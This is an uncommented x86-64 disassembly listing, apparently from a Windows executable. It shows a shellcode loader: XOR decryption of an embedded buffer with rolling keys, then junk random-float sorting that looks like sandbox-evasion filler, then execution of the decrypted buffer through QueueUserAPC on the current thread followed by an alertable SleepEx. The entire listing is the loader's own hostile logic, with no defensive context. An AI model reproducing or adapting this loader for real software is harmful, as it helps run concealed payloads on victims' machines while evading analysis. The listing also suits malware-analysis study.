shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x650]
add rdx, rax
mulss xmm0, xmm1
mov eax, dword [rbp + 0x838]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x838], 1
cmp dword [rbp + 0x838], 0x1b
jle 0x140002914
add dword [rbp + 0x83c], 1
cmp dword [rbp + 0x83c], 0x37
jle 0x140002905
mov rax, qword [rbp + 0x660]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x658]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x650]
mov rcx, rax
call sub.msvcrt.dll_free
cmp dword [rbp + 0x844], 0x3d
jne 0x140002a3d
mov eax, dword [rbp + 0x854]
cdqe
movzx edx, byte [rbp + rax + 0x60]
mov eax, dword [rbp + 0x844]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x854]
cdqe
mov byte [rbp + rax], dl
mov dword [rbp + 0x844], 0
jmp 0x140002a6c
mov eax, dword [rbp + 0x854]
cdqe
movzx edx, byte [rbp + rax + 0x60]
mov eax, dword [rbp + 0x844]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x854]
cdqe
mov byte [rbp + rax], dl
add dword [rbp + 0x844], 1
add dword [rbp + 0x854], 1
mov eax, dword [rbp + 0x854]
cmp eax, 0x58
jbe 0x1400027bd
mov dword [rbp + 0x854], 0
jmp 0x140002b30
cmp dword [rbp + 0x840], 0x58
jne 0x140002ae4
mov eax, dword [rbp + 0x854]
movsxd rdx, eax
mov rax, qword [rbp + 0x6a0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x840]
cdqe
movzx ecx, byte [rbp + rax]
mov eax, dword [rbp + 0x854]
movsxd rdx, eax
mov rax, qword [rbp + 0x6a0]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x840], 0
jmp 0x140002b29
mov eax, dword [rbp + 0x854]
movsxd rdx, eax
mov rax, qword [rbp + 0x6a0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x840]
cdqe
movzx ecx, byte [rbp + rax]
mov eax, dword [rbp + 0x854]
movsxd rdx, eax
mov rax, qword [rbp + 0x6a0]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x840], 1
add dword [rbp + 0x854], 1
cmp dword [rbp + 0x854], 0x527
jle 0x140002a91
mov ecx, 0xd9c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x688], rax
mov dword [rbp + 0x834], 0
jmp 0x140002be9
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x834]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x688]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x834], 1
cmp dword [rbp + 0x834], 0x366
jle 0x140002b60
mov dword [rbp + 0x834], 0
jmp 0x140002d15
mov dword [rbp + 0x66c], 0
jmp 0x140002cf7
mov eax, dword [rbp + 0x834]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x688]
add rax, rdx
movss xmm0, dword [rax]
mov eax, dword [rbp + 0x66c]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x688]
add rax, rdx
movss xmm1, dword [rax]
comiss xmm0, xmm1
jbe 0x140002cf0
mov eax, dword [rbp + 0x66c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x688]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x668], xmm0
mov eax, dword [rbp + 0x834]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x688]
add rdx, rax
mov eax, dword [rbp + 0x66c]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x688]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x66c]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x688]
add rax, rdx
movss xmm0, dword [rbp + 0x668]
movss dword [rax], xmm0
add dword [rbp + 0x834], 1
mov eax, 0x366
sub eax, dword [rbp + 0x834]
cmp dword [rbp + 0x66c], eax
jl 0x140002c17
add dword [rbp + 0x834], 1
cmp dword [rbp + 0x834], 0x366
jle 0x140002c08
mov rax, qword [rbp + 0x688]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6a0]
mov qword [rbp + 0x680], rax
mov rax, qword [rbp + 0x820]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x678], rax
mov rax, qword [rbp + 0x820]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x670], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x680]
mov r9, qword [rbp + 0x678]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x670]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x8a0]
add rsp, 0x938
pop rbx
pop rsi
pop rdi
pop rbp
ret